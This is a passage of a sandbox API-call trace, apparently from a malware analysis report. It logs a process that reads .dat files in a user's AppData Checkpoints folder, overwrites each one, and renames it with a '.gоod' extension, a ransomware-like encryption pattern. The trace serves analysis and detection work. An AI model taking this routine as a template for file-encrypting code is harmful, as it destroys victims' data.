ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8cc839f4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0242.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0242.550] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pm.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pm.dat.gоod")) returned 1 [0242.550] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat", lpFilePart=0x0) returned 0x51 [0242.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0242.550] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pr.dat"), fInfoLevelId=0x0, lpFileInformation=0x3973670 | out: lpFileInformation=0x3973670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa67ad1f, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa67ad1f, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa67ad1f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c9)) returned 1 [0242.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0242.550] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat", lpFilePart=0x0) returned 0x51 [0242.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0242.551] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pr.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0242.551] GetFileType (hFile=0x828) returned 0x1 [0242.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0242.551] GetFileType (hFile=0x828) returned 0x1 [0242.551] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c9 [0242.551] ReadFile (in: hFile=0x828, lpBuffer=0x3973b28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3973b28*, lpNumberOfBytesRead=0x207ec5c8*=0x1c9, lpOverlapped=0x0) returned 1 [0242.551] CloseHandle (hObject=0x828) returned 1 [0242.576] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat", lpFilePart=0x0) returned 0x51 [0242.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0242.576] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pr.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0242.577] GetFileType (hFile=0x828) returned 0x1 [0242.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0242.577] GetFileType (hFile=0x828) returned 0x1 [0242.577] WriteFile (in: hFile=0x828, lpBuffer=0x39ecb48*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x39ecb48*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0242.578] CloseHandle (hObject=0x828) returned 1 [0242.578] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat", lpFilePart=0x0) returned 0x51 [0242.578] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat.gоod", lpFilePart=0x0) returned 0x56 [0242.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0242.578] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pr.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa67ad1f, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa67ad1f, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8cccfe8f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0242.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0242.578] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pr.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PR.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pr.dat.gоod")) returned 1 [0242.581] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat", lpFilePart=0x0) returned 0x51 [0242.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0242.581] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pt.dat"), fInfoLevelId=0x0, lpFileInformation=0x39ede20 | out: lpFileInformation=0x39ede20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa903203, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa903203, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa903203, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c5)) returned 1 [0242.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0242.581] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat", lpFilePart=0x0) returned 0x51 [0242.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0242.581] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pt.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0242.581] GetFileType (hFile=0x828) returned 0x1 [0242.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0242.581] GetFileType (hFile=0x828) returned 0x1 [0242.581] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c5 [0242.582] ReadFile (in: hFile=0x828, lpBuffer=0x39ee2d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x39ee2d0*, lpNumberOfBytesRead=0x207ec5c8*=0x1c5, lpOverlapped=0x0) returned 1 [0243.005] CloseHandle (hObject=0x828) returned 1 [0243.425] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat", lpFilePart=0x0) returned 0x51 [0243.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0243.425] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pt.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0243.426] GetFileType (hFile=0x834) returned 0x1 [0243.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0243.426] GetFileType (hFile=0x834) returned 0x1 [0243.426] WriteFile (in: hFile=0x834, lpBuffer=0x3956818*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x3956818*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0243.427] CloseHandle (hObject=0x834) returned 1 [0243.427] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat", lpFilePart=0x0) returned 0x51 [0243.427] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat.gоod", lpFilePart=0x0) returned 0x56 [0243.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0243.427] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pt.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa903203, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa903203, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8d4dbe2c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0243.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0243.427] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pt.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PT.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pt.dat.gоod")) returned 1 [0243.428] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat", lpFilePart=0x0) returned 0x51 [0243.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0243.428] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3q2.dat"), fInfoLevelId=0x0, lpFileInformation=0x3957af0 | out: lpFileInformation=0x3957af0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa94f64d, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa94f64d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa94f64d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c7)) returned 1 [0243.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0243.429] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat", lpFilePart=0x0) returned 0x51 [0243.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0243.429] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3q2.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0243.429] GetFileType (hFile=0x834) returned 0x1 [0243.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0243.429] GetFileType (hFile=0x834) returned 0x1 [0243.429] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c7 [0243.429] ReadFile (in: hFile=0x834, lpBuffer=0x3957fa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3957fa0*, lpNumberOfBytesRead=0x207ec5c8*=0x1c7, lpOverlapped=0x0) returned 1 [0243.661] CloseHandle (hObject=0x834) returned 1 [0243.721] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat", lpFilePart=0x0) returned 0x51 [0243.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0243.721] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3q2.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0243.722] GetFileType (hFile=0x834) returned 0x1 [0243.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0243.722] GetFileType (hFile=0x834) returned 0x1 [0243.722] WriteFile (in: hFile=0x834, lpBuffer=0x39ecd00*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x39ecd00*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0243.722] CloseHandle (hObject=0x834) returned 1 [0243.722] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat", lpFilePart=0x0) returned 0x51 [0243.722] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat.gоod", lpFilePart=0x0) returned 0x56 [0243.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0243.722] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3q2.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa94f64d, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa94f64d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8d7b0a5a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0243.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0243.723] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3q2.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3Q2.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3q2.dat.gоod")) returned 1 [0243.723] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat", lpFilePart=0x0) returned 0x51 [0243.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0243.723] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3t6.dat"), fInfoLevelId=0x0, lpFileInformation=0x39edfd8 | out: lpFileInformation=0x39edfd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa62e8ac, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa62e8ac, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa62e8ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c5)) returned 1 [0243.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0243.724] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat", lpFilePart=0x0) returned 0x51 [0243.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0243.724] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3t6.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0243.724] GetFileType (hFile=0x834) returned 0x1 [0243.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0243.724] GetFileType (hFile=0x834) returned 0x1 [0243.724] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c5 [0243.724] ReadFile (in: hFile=0x834, lpBuffer=0x39ee488, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x39ee488*, lpNumberOfBytesRead=0x207ec5c8*=0x1c5, lpOverlapped=0x0) returned 1 [0243.724] CloseHandle (hObject=0x834) returned 1 [0243.890] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat", lpFilePart=0x0) returned 0x51 [0243.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0243.890] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3t6.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0243.891] GetFileType (hFile=0x85c) returned 0x1 [0243.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0243.891] GetFileType (hFile=0x85c) returned 0x1 [0243.891] WriteFile (in: hFile=0x85c, lpBuffer=0x3a528c0*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x3a528c0*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0243.891] CloseHandle (hObject=0x85c) returned 1 [0243.891] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat", lpFilePart=0x0) returned 0x51 [0243.891] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat.gоod", lpFilePart=0x0) returned 0x56 [0243.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0243.891] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3t6.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa62e8ac, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa62e8ac, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8d95442c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0243.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0243.892] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3t6.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat.gоod" (normalized: 